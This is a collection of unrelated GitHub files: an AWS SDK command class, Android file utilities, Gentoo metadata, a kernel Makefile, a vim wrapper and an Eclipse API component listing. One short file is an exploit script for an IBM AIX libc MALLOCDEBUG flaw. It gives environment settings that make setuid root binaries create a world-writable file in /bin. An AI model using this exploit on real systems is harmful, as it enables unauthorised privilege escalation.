Handler,
HandlerExecutionContext,
MiddlewareStack,
HttpHandlerOptions as __HttpHandlerOptions,
MetadataBearer as __MetadataBearer,
SerdeContext as __SerdeContext,
} from "@aws-sdk/types";
export type DeleteResolverEndpointCommandInput = DeleteResolverEndpointRequest;
export type DeleteResolverEndpointCommandOutput = DeleteResolverEndpointResponse & __MetadataBearer;
export class DeleteResolverEndpointCommand extends $Command<
DeleteResolverEndpointCommandInput,
DeleteResolverEndpointCommandOutput,
Route53ResolverClientResolvedConfig
> {
// Start section: command_properties
// End section: command_properties
constructor(readonly input: DeleteResolverEndpointCommandInput) {
// Start section: command_constructor
super();
// End section: command_constructor
}
resolveMiddleware(
clientStack: MiddlewareStack<ServiceInputTypes, ServiceOutputTypes>,
configuration: Route53ResolverClientResolvedConfig,
options?: __HttpHandlerOptions
): Handler<DeleteResolverEndpointCommandInput, DeleteResolverEndpointCommandOutput> {
this.middlewareStack.use(getSerdePlugin(configuration, this.serialize, this.deserialize));
const stack = clientStack.concat(this.middlewareStack);
const { logger } = configuration;
const handlerExecutionContext: HandlerExecutionContext = {
logger,
inputFilterSensitiveLog: DeleteResolverEndpointRequest.filterSensitiveLog,
outputFilterSensitiveLog: DeleteResolverEndpointResponse.filterSensitiveLog,
};
const { requestHandler } = configuration;
return stack.resolve(
(request: FinalizeHandlerArguments<any>) =>
requestHandler.handle(request.request as __HttpRequest, options || {}),
handlerExecutionContext
);
}
private serialize(input: DeleteResolverEndpointCommandInput, context: __SerdeContext): Promise<__HttpRequest> {
return serializeAws_json1_1DeleteResolverEndpointCommand(input, context);
}
private deserialize(output: __HttpResponse, context: __SerdeContext): Promise<DeleteResolverEndpointCommandOutput> {
return deserializeAws_json1_1DeleteResolverEndpointCommand(output, context);
}
// Start section: command_body_extra
// End section: command_body_extra
}
|
{
"pile_set_name": "Github"
}
|
#!/bin/bash
#################################################################
# _______ _________ _ #
# ( ____ )\__ __/( ( /| #
# | ( )| ) ( | \ ( | #
# | (____)| | | | \ | | #
# | __) | | | (\ \) | #
# | (\ ( | | | | \ | #
# | ) \ \__ | | | ) \ | #
# |/ \__/ )_( |/ )_) #
# http://root-the.net #
#################################################################
#[+] IBM AIX libc MALLOCDEBUG File Overwrite Vulnerability #
#[+] Refer : securitytracker.com/id?1022261 #
#[+] Exploit : Affix <root@root-the.net> #
#[+] Tested on : IBM AIX #
#[+] Greetz : Mad-Hatter, Atomiku, RTN, Terogen, SCD, Boxhead, #
# str0ke, tekto, SonicX, Android, tw0, d0nk, Redskull #
# AIX 5.3 ML 5 is where this bad libc code was added. #
# Libs Affected : #
# /usr/ccs/lib/libc.a #
# /usr/ccs/lib/libp/libc.a #
#################################################################
Set the following environment variables:
umask 000
MALLOCTYPE=debug
MALLOCDEBUG=report_allocations,output:/bin/filename
echo "Now run any setuid root binary.. /bin/filename will be created with 777 permissions."
|
{
"pile_set_name": "Github"
}
|
package com.mantz_it.rfanalyzer;
import android.content.ContentResolver;
import android.content.ContentUris;
import android.content.Context;
import android.content.Intent;
import android.database.Cursor;
import android.database.DatabaseUtils;
import android.graphics.Bitmap;
import android.net.Uri;
import android.os.Build;
import android.os.Environment;
import android.provider.DocumentsContract;
import android.provider.MediaStore;
import android.util.Log;
import android.webkit.MimeTypeMap;
import java.io.File;
import java.io.FileFilter;
import java.text.DecimalFormat;
import java.util.Comparator;
/**
* This Class is copied from the Open Source project "aFileChooser"
* (https://github.com/iPaulPro/aFileChooser). All credit goes
* to the original author Paul Burke!
*
* Copyright (C) 2007-2008 OpenIntents.org
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* @version 2009-07-03
* @author Peli
* @version 2013-12-11
* @author paulburke (ipaulpro)
*/
public class FileUtils {
private FileUtils() {} //private constructor to enforce Singleton pattern
/** TAG for log messages. */
static final String TAG = "FileUtils";
private static final boolean DEBUG = false; // Set to true to enable logging
public static final String MIME_TYPE_AUDIO = "audio/*";
public static final String MIME_TYPE_TEXT = "text/*";
public static final String MIME_TYPE_IMAGE = "image/*";
public static final String MIME_TYPE_VIDEO = "video/*";
public static final String MIME_TYPE_APP = "application/*";
public static final String HIDDEN_PREFIX = ".";
/**
* Gets the extension of a file name, like ".png" or ".jpg".
*
* @param uri
* @return Extension including the dot("."); "" if there is no extension;
* null if uri was null.
*/
public static String getExtension(String uri) {
if (uri == null) {
return null;
}
int dot = uri.lastIndexOf(".");
if (dot >= 0) {
return uri.substring(dot);
} else {
// No extension.
return "";
}
}
/**
* @return Whether the URI is a local one.
*/
public static boolean isLocal(String url) {
if (url != null && !url.startsWith("http://") && !url.startsWith("https://")) {
return true;
}
return false;
}
/**
* @return True if Uri is a MediaStore Uri.
* @author paulburke
*/
public static boolean isMediaUri(Uri uri) {
return "media".equalsIgnoreCase(uri.getAuthority());
}
/**
* Convert File into Uri.
*
* @param file
* @return uri
*/
public static Uri getUri(File file) {
if (file != null) {
return Uri.fromFile(file);
}
return null;
}
/**
* Returns the path only (without file name).
*
* @param file
* @return
*/
public static File getPathWithoutFilename(File file) {
if (file != null) {
if (file.isDirectory()) {
// no file to be split off. Return everything
return file;
} else {
String filename = file.getName();
String filepath = file.getAbsolutePath();
// Construct path without file name.
String pathwithoutname = filepath.substring(0,
filepath.length() - filename.length());
if (pathwithoutname.endsWith("/")) {
pathwithoutname = pathwithoutname.substring(0, pathwithoutname.length() - 1);
}
return new File(pathwithoutname);
}
}
return null;
}
/**
* @return The MIME type for the given file.
*/
public static String getMimeType(File file) {
String extension = getExtension(file.getName());
if (extension.length() > 0)
return MimeTypeMap.getSingleton().getMimeTypeFromExtension(extension.substring(1));
return "application/octet-stream";
}
/**
* @return The MIME type for the give Uri.
*/
public static String getMimeType(Context context, Uri uri) {
File file = new File(getPath(context, uri));
return getMimeType(file);
}
/**
* @param uri The Uri to check.
* @return Whether the Uri authority is ExternalStorageProvider.
* @author paulburke
*/
public static boolean isExternalStorageDocument(Uri uri) {
return "com.android.externalstorage.documents".equals(uri.getAuthority());
}
/**
* @param uri The Uri to check.
* @return Whether the Uri authority is DownloadsProvider.
* @author paulburke
*/
public static boolean isDownloadsDocument(Uri uri) {
return "com.android.providers.downloads.documents".equals(uri.getAuthority());
}
/**
* @param uri The Uri to check.
* @return Whether the Uri authority is MediaProvider.
* @author paulburke
*/
public static boolean isMediaDocument(Uri uri) {
return "com.android.providers.media.documents".equals(uri.getAuthority());
}
/**
* @param uri The Uri to check.
* @return Whether the Uri authority is Google Photos.
*/
public static boolean isGooglePhotosUri(Uri uri) {
return "com.google.android.apps.photos.content".equals(uri.getAuthority());
}
/**
* Get the value of the data column for this Uri. This is useful for
* MediaStore Uris, and other file-based ContentProviders.
*
* @param context The context.
* @param uri The Uri to query.
* @param selection (Optional) Filter used in the query.
* @param selectionArgs (Optional) Selection arguments used in the query.
* @return The value of the _data column, which is typically a file path.
* @author paulburke
*/
public static String getDataColumn(Context context, Uri uri, String selection,
String[] selectionArgs) {
Cursor cursor = null;
final String column = "_data";
final String[] projection = {
column
};
try {
cursor = context.getContentResolver().query(uri, projection, selection, selectionArgs,
null);
if (cursor != null && cursor.moveToFirst()) {
if (DEBUG)
DatabaseUtils.dumpCursor(cursor);
final int column_index = cursor.getColumnIndexOrThrow(column);
return cursor.getString(column_index);
}
} finally {
if (cursor != null)
cursor.close();
}
return null;
}
/**
* Get a file path from a Uri. This will get the the path for Storage Access
* Framework Documents, as well as the _data field for the MediaStore and
* other file-based ContentProviders.<br>
* <br>
* Callers should check whether the path is local before assuming it
* represents a local file.
*
* @param context The context.
* @param uri The Uri to query.
* @see #isLocal(String)
* @see #getFile(Context, Uri)
* @author paulburke
*/
public static String getPath(final Context context, final Uri uri) {
if (DEBUG)
Log.d(TAG + " File -",
"Authority: " + uri.getAuthority() +
", Fragment: " + uri.getFragment() +
", Port: " + uri.getPort() +
", Query: " + uri.getQuery() +
", Scheme: " + uri.getScheme() +
", Host: " + uri.getHost() +
", Segments: " + uri.getPathSegments().toString()
);
final boolean isKitKat = Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT;
// DocumentProvider
if (isKitKat && DocumentsContract.isDocumentUri(context, uri)) {
// ExternalStorageProvider
if (isExternalStorageDocument(uri)) {
final String docId = DocumentsContract.getDocumentId(uri);
final String[] split = docId.split(":");
final String type = split[0];
if ("primary".equalsIgnoreCase(type)) {
return Environment.getExternalStorageDirectory() + "/" + split[1];
}
// TODO handle non-primary volumes
}
// DownloadsProvider
else if (isDownloadsDocument(uri)) {
final String id = DocumentsContract.getDocumentId(uri);
final Uri contentUri = ContentUris.withAppendedId(
Uri.parse("content://downloads/public_downloads"), Long.valueOf(id));
return getDataColumn(context, contentUri, null, null);
}
// MediaProvider
else if (isMediaDocument(uri)) {
final String docId = DocumentsContract.getDocumentId(uri);
final String[] split = docId.split(":");
final String type = split[0];
Uri contentUri = null;
if ("image".equals(type)) {
contentUri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI;
} else if ("video".equals(type)) {
contentUri = MediaStore.Video.Media.EXTERNAL_CONTENT_URI;
} else if ("audio".equals(type)) {
contentUri = MediaStore.Audio.Media.EXTERNAL_CONTENT_URI;
}
final String selection = "_id=?";
final String[] selectionArgs = new String[] {
split[1]
};
return getDataColumn(context, contentUri, selection, selectionArgs);
}
}
// MediaStore (and general)
else if ("content".equalsIgnoreCase(uri.getScheme())) {
// Return the remote address
if (isGooglePhotosUri(uri))
return uri.getLastPathSegment();
return getDataColumn(context, uri, null, null);
}
// File
else if ("file".equalsIgnoreCase(uri.getScheme())) {
return uri.getPath();
}
return null;
}
/**
* Convert Uri into File, if possible.
*
* @return file A local file that the Uri was pointing to, or null if the
* Uri is unsupported or pointed to a remote resource.
* @see #getPath(Context, Uri)
* @author paulburke
*/
public static File getFile(Context context, Uri uri) {
if (uri != null) {
String path = getPath(context, uri);
if (path != null && isLocal(path)) {
return new File(path);
}
}
return null;
}
/**
* Get the file size in a human-readable string.
*
* @param size
* @return
* @author paulburke
*/
public static String getReadableFileSize(int size) {
final int BYTES_IN_KILOBYTES = 1024;
final DecimalFormat dec = new DecimalFormat("###.#");
final String KILOBYTES = " KB";
final String MEGABYTES = " MB";
final String GIGABYTES = " GB";
float fileSize = 0;
String suffix = KILOBYTES;
if (size > BYTES_IN_KILOBYTES) {
fileSize = size / BYTES_IN_KILOBYTES;
if (fileSize > BYTES_IN_KILOBYTES) {
fileSize = fileSize / BYTES_IN_KILOBYTES;
if (fileSize > BYTES_IN_KILOBYTES) {
fileSize = fileSize / BYTES_IN_KILOBYTES;
suffix = GIGABYTES;
} else {
suffix = MEGABYTES;
}
}
}
return String.valueOf(dec.format(fileSize) + suffix);
}
/**
* Attempt to retrieve the thumbnail of given File from the MediaStore. This
* should not be called on the UI thread.
*
* @param context
* @param file
* @return
* @author paulburke
*/
public static Bitmap getThumbnail(Context context, File file) {
return getThumbnail(context, getUri(file), getMimeType(file));
}
/**
* Attempt to retrieve the thumbnail of given Uri from the MediaStore. This
* should not be called on the UI thread.
*
* @param context
* @param uri
* @return
* @author paulburke
*/
public static Bitmap getThumbnail(Context context, Uri uri) {
return getThumbnail(context, uri, getMimeType(context, uri));
}
/**
* Attempt to retrieve the thumbnail of given Uri from the MediaStore. This
* should not be called on the UI thread.
*
* @param context
* @param uri
* @param mimeType
* @return
* @author paulburke
*/
public static Bitmap getThumbnail(Context context, Uri uri, String mimeType) {
if (DEBUG)
Log.d(TAG, "Attempting to get thumbnail");
if (!isMediaUri(uri)) {
Log.e(TAG, "You can only retrieve thumbnails for images and videos.");
return null;
}
Bitmap bm = null;
if (uri != null) {
final ContentResolver resolver = context.getContentResolver();
Cursor cursor = null;
try {
cursor = resolver.query(uri, null, null, null, null);
if (cursor.moveToFirst()) {
final int id = cursor.getInt(0);
if (DEBUG)
Log.d(TAG, "Got thumb ID: " + id);
if (mimeType.contains("video")) {
bm = MediaStore.Video.Thumbnails.getThumbnail(
resolver,
id,
MediaStore.Video.Thumbnails.MINI_KIND,
null);
}
else if (mimeType.contains(FileUtils.MIME_TYPE_IMAGE)) {
bm = MediaStore.Images.Thumbnails.getThumbnail(
resolver,
id,
MediaStore.Images.Thumbnails.MINI_KIND,
null);
}
}
} catch (Exception e) {
if (DEBUG)
Log.e(TAG, "getThumbnail", e);
} finally {
if (cursor != null)
cursor.close();
}
}
return bm;
}
/**
* File and folder comparator. TODO Expose sorting option method
*
* @author paulburke
*/
public static Comparator<File> sComparator = new Comparator<File>() {
@Override
public int compare(File f1, File f2) {
// Sort alphabetically by lower case, which is much cleaner
return f1.getName().toLowerCase().compareTo(
f2.getName().toLowerCase());
}
};
/**
* File (not directories) filter.
*
* @author paulburke
*/
public static FileFilter sFileFilter = new FileFilter() {
@Override
public boolean accept(File file) {
final String fileName = file.getName();
// Return files only (not directories) and skip hidden files
return file.isFile() && !fileName.startsWith(HIDDEN_PREFIX);
}
};
/**
* Folder (directories) filter.
*
* @author paulburke
*/
public static FileFilter sDirFilter = new FileFilter() {
@Override
public boolean accept(File file) {
final String fileName = file.getName();
// Return directories only and skip hidden directories
return file.isDirectory() && !fileName.startsWith(HIDDEN_PREFIX);
}
};
/**
* Get the Intent for selecting content to be used in an Intent Chooser.
*
* @return The intent for opening a file with Intent.createChooser()
* @author paulburke
*/
public static Intent createGetContentIntent() {
// Implicitly allow the user to select a particular kind of data
final Intent intent = new Intent(Intent.ACTION_GET_CONTENT);
// The MIME data type filter
intent.setType("*/*");
// Only return URIs that can be opened with ContentResolver
intent.addCategory(Intent.CATEGORY_OPENABLE);
return intent;
}
}
|
{
"pile_set_name": "Github"
}
|
message <span class="message">Default</span>
{
}
|
{
"pile_set_name": "Github"
}
|
DEFINED_PHASES=compile configure install postinst postrm prepare test unpack
DEPEND=>=app-portage/elt-patches-20170815 || ( >=sys-devel/automake-1.16.1:1.16 >=sys-devel/automake-1.15.1:1.15 ) >=sys-devel/autoconf-2.69 >=sys-devel/libtool-2.4 ppc-aix? ( >=sys-devel/libtool-2.2.6a sys-devel/m4 >=x11-misc/util-macros-1.18 >=media-fonts/font-util-1.2.0 ) x86-winnt? ( >=sys-devel/libtool-2.2.6a sys-devel/m4 >=x11-misc/util-macros-1.18 >=media-fonts/font-util-1.2.0 ) virtual/pkgconfig x11-base/xorg-proto dri? ( x11-base/xorg-server[-minimal] x11-libs/libdrm ) x11-base/xorg-server[xorg] x11-libs/libpciaccess
DESCRIPTION=Matrox video driver
EAPI=5
HOMEPAGE=https://www.x.org/wiki/ https://gitlab.freedesktop.org/xorg/driver/xf86-video-mga
IUSE=dri
KEYWORDS=~alpha amd64 ~ia64 ppc ppc64 sparc x86 ~amd64-linux ~x86-linux
LICENSE=MIT
RDEPEND=x11-base/xorg-server:= dri? ( x11-base/xorg-server[-minimal] x11-libs/libdrm ) x11-base/xorg-server[xorg] x11-libs/libpciaccess
SLOT=0
SRC_URI=https://www.x.org/releases/individual/driver/xf86-video-mga-2.0.0.tar.bz2
_eclasses_=autotools 7d999b62b8749fad43fff00620cedf47 autotools-utils 95db0904ad0f62535e18e5ccb67cce5e desktop 7fd20552ce4cc97e8acb132a499a7dd8 edos2unix 33e347e171066657f91f8b0c72ec8773 epatch ed88001f77c6dd0d5f09e45c1a5b480e estack 686eaab303305a908fd57b2fd7617800 eutils 2d5b3f4b315094768576b6799e4f926e flag-o-matic 09a8beb8e6a8e02dc1e1bd83ac353741 l10n 8cdd85e169b835d518bc2fd59f780d8e libtool f143db5a74ccd9ca28c1234deffede96 ltprune db8b7ce9d0e663594bcb4a4e72131a79 multilib 98584e405e2b0264d37e8f728327fed1 preserve-libs ef207dc62baddfddfd39a164d9797648 toolchain-funcs 605c126bed8d87e4378d5ff1645330cb vcs-clean 2a0f74a496fa2b1552c4f3398258b7bf wrapper 4251d4c84c25f59094fd557e0063a974 xorg-2 e6d2349188531f9269a34fe438392e90
_md5_=2cc894cdc9aad05a389263ad648afd61
|
{
"pile_set_name": "Github"
}
|
#
# Routerboard 532
#
platform-$(CONFIG_MIKROTIK_RB532) += rb532/
cflags-$(CONFIG_MIKROTIK_RB532) += \
-I$(srctree)/arch/mips/include/asm/mach-rc32434
load-$(CONFIG_MIKROTIK_RB532) += 0xffffffff80101000
|
{
"pile_set_name": "Github"
}
|
#!/bin/sh
exec /share/vim/vim74/vim -d "$@"
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="UTF-8"?>
<!--
Copyright (c) 2005, 2014 IBM Corporation and others.
This program and the accompanying materials
are made available under the terms of the Eclipse Public License 2.0
which accompanies this distribution, and is available at
https://www.eclipse.org/legal/epl-2.0/
SPDX-License-Identifier: EPL-2.0
Contributors:
IBM Corporation - initial API and implementation
-->
<component xmlns="http://eclipse.org/component"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://eclipse.org/component ../component.xsd "
name="org.eclipse.jdt.core">
<plugin id="org.eclipse.jdt.core" />
<package name="org.eclipse.jdt.core.compiler.batch">
<type name="BatchCompiler" subclass="false" instantiate="false" />
</package>
<package name="org.eclipse.jdt.core">
<type name="BindingKey" subclass="false" />
<type name="BufferChangedEvent" subclass="false" instantiate="false"/>
<type name="ClasspathContainerInitializer" instantiate="false"/>
<type name="ClasspathVariableInitializer" instantiate="false"/>
<type name="CompletionContext" subclass="false" instantiate="false"/>
<type name="CompletionProposal" subclass="false" instantiate="false"/>
<type name="CompletionRequestor" instantiate="false"/>
<type name="CompletionRequestorAdapter"/>
<type name="CorrectionEngine" subclass="false"/>
<type name="ElementChangedEvent" subclass="false" instantiate="false"/>
<type name="Flags" subclass="false" instantiate="false"/>
<type name="IAccessRule"/>
<type name="IBuffer"/>
<type name="IBufferChangedListener"/>
<type name="IBufferFactory"/>
<type name="IClassFile" implement="false"/>
<type name="IClasspathAttribute" implement="false"/>
<type name="IClasspathContainer"/>
<type name="IClasspathEntry" implement="false"/>
<type name="ICodeAssist" implement="false"/>
<type name="ICodeCompletionRequestor"/>
<type name="ICodeFormatter"/>
<type name="ICompilationUnit" implement="false"/>
<type name="ICompletionRequestor"/>
<type name="ICorrectionRequestor"/>
<type name="IElementChangedListener"/>
<type name="IField" implement="false"/>
<type name="IImportContainer" implement="false"/>
<type name="IImportDeclaration" implement="false"/>
<type name="IInitializer" implement="false"/>
<type name="IJavaElement" implement="false"/>
<type name="IJavaElementDelta" implement="false"/>
<type name="IJavaModel" implement="false"/>
<type name="IJavaModelMarker" implement="false"/>
<type name="IJavaModelStatus" implement="false"/>
<type name="IJavaModelStatusConstants" implement="false"/>
<type name="IJavaProject" implement="false"/>
<type name="ILocalVariable" implement="false"/>
<type name="IMember" implement="false"/>
<type name="IMethod" implement="false"/>
<type name="IOpenable" implement="false"/>
<type name="IPackageDeclaration" implement="false"/>
<type name="IPackageFragment" implement="false"/>
<type name="IPackageFragmentRoot" implement="false"/>
<type name="IParent" implement="false"/>
<type name="IProblemRequestor"/>
<type name="IRegion" implement="false"/>
<type name="ISourceManipulation" implement="false"/>
<type name="ISourceRange" implement="false"/>
<type name="ISourceReference" implement="false"/>
<type name="IType" implement="false"/>
<type name="ITypeHierarchy" implement="false"/>
<type name="ITypeHierarchyChangedListener"/>
<type name="ITypeParameter" implement="false"/>
<type name="IWorkingCopy" implement="false"/>
<type name="JavaConventions" subclass="false" instantiate="false"/>
<type name="JavaCore" subclass="false" instantiate="false"/>
<type name="JavaModelException" subclass="false" instantiate="false"/>
<type name="NamingConventions" subclass="false" instantiate="false"/>
<type name="Signature" subclass="false" instantiate="false"/>
<type name="ToolFactory" subclass="false" instantiate="false"/>
<type name="WorkingCopyOwner" instantiate="false"/>
</package>
<package name="org.eclipse.jdt.core.compiler">
<type name="BuildContext" subclass="false" instantiate="false"/>
<type name="CategorizedProblem" instantiate="false"/>
<type name="CharOperation" subclass="false" instantiate="false"/>
<type name="CompilationParticipant" instantiate="false"/>
<type name="InvalidInputException" subclass="false" instantiate="false"/>
<type name="IProblem" implement="false"/>
<type name="IScanner" implement="false"/>
<type name="ITerminalSymbols" implement="false"/>
<type name="ReconcileContext" subclass="false" instantiate="false"/>
</package>
<package name="org.eclipse.jdt.core.dom">
<type name="AbstractTypeDeclaration" instantiate="false"/>
<type name="Annotation" instantiate="false"/>
<type name="AnnotationBinding" reference="false"/>
<type name="AnnotationTypeDeclaration" instantiate="false"/>
<type name="AnnotationTypeMemberDeclaration" instantiate="false"/>
<type name="AnonymousClassDeclaration" instantiate="false"/>
<type name="ArrayAccess" instantiate="false"/>
<type name="ArrayCreation" instantiate="false"/>
<type name="ArrayInitializer" instantiate="false"/>
<type name="ArrayType" instantiate="false"/>
<type name="AssertStatement" instantiate="false"/>
<type name="Assignment" instantiate="false"/>
<type name="AST" subclass="false" instantiate="false"/>
<type name="ASTConverter" reference="false"/>
<type name="ASTMatcher"/>
<type name="ASTNode" subclass="false" instantiate="false"/>
<type name="ASTParser" instantiate="false"/>
<type name="ASTRecoveryPropagator" reference="false"/>
<type name="ASTRequestor" instantiate="false"/>
<type name="ASTSyntaxErrorPropagator" reference="false"/>
<type name="ASTVisitor"/>
<type name="BindingComparator" reference="false"/>
<type name="BindingResolver" reference="false"/>
<type name="Block" instantiate="false"/>
<type name="BlockComment" subclass="false" instantiate="false"/>
<type name="BodyDeclaration" instantiate="false"/>
<type name="BooleanLiteral" instantiate="false"/>
<type name="BreakStatement" instantiate="false"/>
<type name="CastExpression" instantiate="false"/>
<type name="CatchClause" instantiate="false"/>
<type name="CharacterLiteral" instantiate="false"/>
<type name="ChildListPropertyDescriptor" subclass="false" instantiate="false"/>
<type name="ChildPropertyDescriptor" subclass="false" instantiate="false"/>
<type name="ClassInstanceCreation" instantiate="false"/>
<type name="Comment" instantiate="false"/>
<type name="CompilationUnit" instantiate="false"/>
<type name="CompilationUnitResolver" reference="false"/>
<type name="ConditionalExpression" instantiate="false"/>
<type name="ConstructorInvocation" instantiate="false"/>
<type name="ContinueStatement" instantiate="false"/>
<type name="DefaultASTVisitor" reference="false"/>
<type name="DefaultBindingResolver" reference="false"/>
<type name="DefaultCommentMapper" reference="false"/>
<type name="DefaultValuePairBinding" reference="false"/>
<type name="DocCommentParser" reference="false"/>
<type name="DoStatement" instantiate="false"/>
<type name="EmptyStatement" instantiate="false"/>
<type name="EnhancedForStatement" instantiate="false"/>
<type name="EnumConstantDeclaration" instantiate="false"/>
<type name="EnumDeclaration" instantiate="false"/>
<type name="Expression" instantiate="false"/>
<type name="ExpressionStatement" instantiate="false"/>
<type name="FieldAccess" instantiate="false"/>
<type name="FieldDeclaration" instantiate="false"/>
<type name="ForStatement" instantiate="false"/>
<type name="IAnnotationBinding" instantiate="false" implement="false"/>
<type name="IBinding" instantiate="false" implement="false"/>
<type name="IDocElement" instantiate="false"/>
<type name="IExtendedModifier" instantiate="false"/>
<type name="IfStatement" instantiate="false"/>
<type name="IMemberValuePairBinding" instantiate="false" implement="false"/>
<type name="IMethodBinding" instantiate="false" implement="false"/>
<type name="ImportDeclaration" instantiate="false"/>
<type name="InfixExpression" instantiate="false"/>
<type name="Initializer" instantiate="false"/>
<type name="InstanceofExpression" instantiate="false"/>
<type name="InternalASTRewrite" reference="false"/>
<type name="IPackageBinding" implement="false"/>
<type name="ITypeBinding" implement="false"/>
<type name="IVariableBinding" implement="false"/>
<type name="Javadoc" instantiate="false"/>
<type name="LabeledStatement" instantiate="false"/>
<type name="LineComment" instantiate="false" subclass="false"/>
<type name="MarkerAnnotation" instantiate="false"/>
<type name="MemberRef" instantiate="false"/>
<type name="MemberValuePair" instantiate="false"/>
<type name="MemberValuePairBinding" reference="false"/>
<type name="Message"/>
<type name="MethodBinding" reference="false"/>
<type name="MethodDeclaration" instantiate="false"/>
<type name="MethodInvocation" instantiate="false"/>
<type name="MethodRef" instantiate="false"/>
<type name="MethodRefParameter" instantiate="false"/>
<type name="Modifier" instantiate="false" subclass="false"/>
<type name="Name" instantiate="false" subclass="false"/>
<type name="NodeEventHandler" reference="false"/>
<type name="NodeSearcher" reference="false"/>
<type name="NormalAnnotation" instantiate="false"/>
<type name="NullLiteral" instantiate="false"/>
<type name="NumberLiteral" instantiate="false"/>
<type name="PackageBinding" reference="false"/>
<type name="PackageDeclaration" instantiate="false"/>
<type name="ParameterizedType" instantiate="false"/>
<type name="ParenthesizedExpression" instantiate="false"/>
<type name="PostfixExpression" instantiate="false"/>
<type name="PrefixExpression" instantiate="false"/>
<type name="PrimitiveType" instantiate="false"/>
<type name="QualifiedName" instantiate="false"/>
<type name="QualifiedType" instantiate="false"/>
<type name="ReturnStatement" instantiate="false"/>
<type name="SimpleName" instantiate="false"/>
<type name="SimplePropertyDescriptor" subclass="false" instantiate="false"/>
<type name="SimpleType" instantiate="false"/>
<type name="SingleMemberAnnotation" instantiate="false"/>
<type name="SingleVariableDeclaration" instantiate="false"/>
<type name="Statement" instantiate="false"/>
<type name="StringLiteral" instantiate="false"/>
<type name="StructuralPropertyDescriptor" subclass="false" instantiate="false"/>
<type name="SuperConstructorInvocation" instantiate="false"/>
<type name="SuperFieldAccess" instantiate="false"/>
<type name="SuperMethodInvocation" instantiate="false"/>
<type name="SwitchCase" instantiate="false"/>
<type name="SwitchStatement" instantiate="false"/>
<type name="SynchronizedStatement" instantiate="false"/>
<type name="TagElement" instantiate="false" subclass="false"/>
<type name="TextElement" instantiate="false" subclass="false"/>
<type name="ThisExpression" instantiate="false"/>
<type name="ThrowStatement" instantiate="false"/>
<type name="TryStatement" instantiate="false"/>
<type name="Type" instantiate="false"/>
<type name="TypeBinding" reference="false"/>
<type name="TypeDeclaration" instantiate="false"/>
<type name="TypeDeclarationStatement" instantiate="false"/>
<type name="TypeLiteral" instantiate="false"/>
<type name="TypeParameter" instantiate="false"/>
<type name="VariableBinding" reference="false"/>
<type name="VariableDeclaration" instantiate="false"/>
<type name="VariableDeclarationExpression" instantiate="false"/>
<type name="VariableDeclarationFragment" instantiate="false"/>
<type name="VariableDeclarationStatement" instantiate="false"/>
<type name="WhileStatement" instantiate="false"/>
<type name="WildcardType" instantiate="false"/>
</package>
<package name="org.eclipse.jdt.core.dom.rewrite">
<type name="ASTRewrite" subclass="false" instantiate="false"/>
<type name="ImportRewrite" subclass="false"/>
<type name="ITrackedNodePosition" implement="false"/>
<type name="ListRewrite" subclass="false"/>
<type name="TargetSourceRangeComputer"/>
</package>
<package name="org.eclipse.jdt.core.eval">
<type name="ICodeSnippetRequestor"/>
<type name="IEvaluationContext" implement="false"/>
<type name="IGlobalVariable" implement="false"/>
</package>
<package name="org.eclipse.jdt.core.formatter">
<type name="CodeFormatter" subclass="false" instantiate="false"/>
<type name="CodeFormatterApplication" subclass="false" instantiate="false"/>
<type name="DefaultCodeFormatterConstants" subclass="false" instantiate="false"/>
<type name="IndentManipulation" subclass="false" instantiate="false"/>
</package>
<package name="org.eclipse.jdt.core.jdom">
<type name="DOMException"/>
<type name="DOMFactory" subclass="false"/>
<type name="IDOMCompilationUnit" implement="false"/>
<type name="IDOMFactory" implement="false"/>
<type name="IDOMField" implement="false"/>
<type name="IDOMImport" implement="false"/>
<type name="IDOMInitializer" implement="false"/>
<type name="IDOMMember" implement="false"/>
<type name="IDOMMethod" implement="false"/>
<type name="IDOMNode" implement="false"/>
<type name="IDOMPackage" implement="false"/>
<type name="IDOMType" implement="false"/>
</package>
<package name="org.eclipse.jdt.core.search">
<type name="FieldDeclarationMatch"/>
<type name="FieldReferenceMatch"/>
<type name="IJavaSearchConstants" implement="false"/>
<type name="IJavaSearchResultCollector"/>
<type name="IJavaSearchScope"/>
<type name="ISearchPattern"/>
<type name="ITypeNameRequestor"/>
<type name="LocalVariableDeclarationMatch"/>
<type name="LocalVariableReferenceMatch"/>
<type name="MethodDeclarationMatch"/>
<type name="MethodReferenceMatch"/>
<type name="PackageDeclarationMatch"/>
<type name="PackageReferenceMatch"/>
<type name="SearchDocument" instantiate="false"/>
<type name="SearchEngine" subclass="false"/>
<type name="SearchMatch"/>
<type name="SearchParticipant" instantiate="false"/>
<type name="SearchPattern" instantiate="false"/>
<type name="SearchRequestor" instantiate="false"/>
<type name="TypeDeclarationMatch"/>
<type name="TypeNameRequestor" instantiate="false"/>
<type name="TypeParameterDeclarationMatch"/>
<type name="TypeParameterReferenceMatch"/>
<type name="TypeReferenceMatch"/>
</package>
<package name="org.eclipse.jdt.core.util">
<type name="ByteCodeVisitorAdapter"/>
<type name="ClassFileBytesDisassembler"/>
<type name="ClassFormatException"/>
<type name="CompilationUnitSorter" subclass="false" instantiate="false"/>
<type name="IAnnotation"/>
<type name="IAnnotationComponent"/>
<type name="IAnnotationComponentValue"/>
<type name="IAnnotationDefaultAttribute"/>
<type name="IAttributeNamesConstants" implement="false"/>
<type name="IBytecodeVisitor" implement="false"/>
<type name="IClassFileAttribute"/>
<type name="IClassFileDisassembler"/>
<type name="IClassFileReader"/>
<type name="ICodeAttribute"/>
<type name="IConstantPool"/>
<type name="IConstantPoolConstant" implement="false"/>
<type name="IConstantPoolEntry"/>
<type name="IConstantValueAttribute"/>
<type name="IEnclosingMethodAttribute"/>
<type name="IExceptionAttribute"/>
<type name="IExceptionTableEntry"/>
<type name="IFieldInfo"/>
<type name="IInnerClassesAttribute"/>
<type name="IInnerClassesAttributeEntry"/>
<type name="ILineNumberAttribute"/>
<type name="ILocalVariableAttribute"/>
<type name="ILocalVariableTableEntry"/>
<type name="ILocalVariableTypeTableAttribute"/>
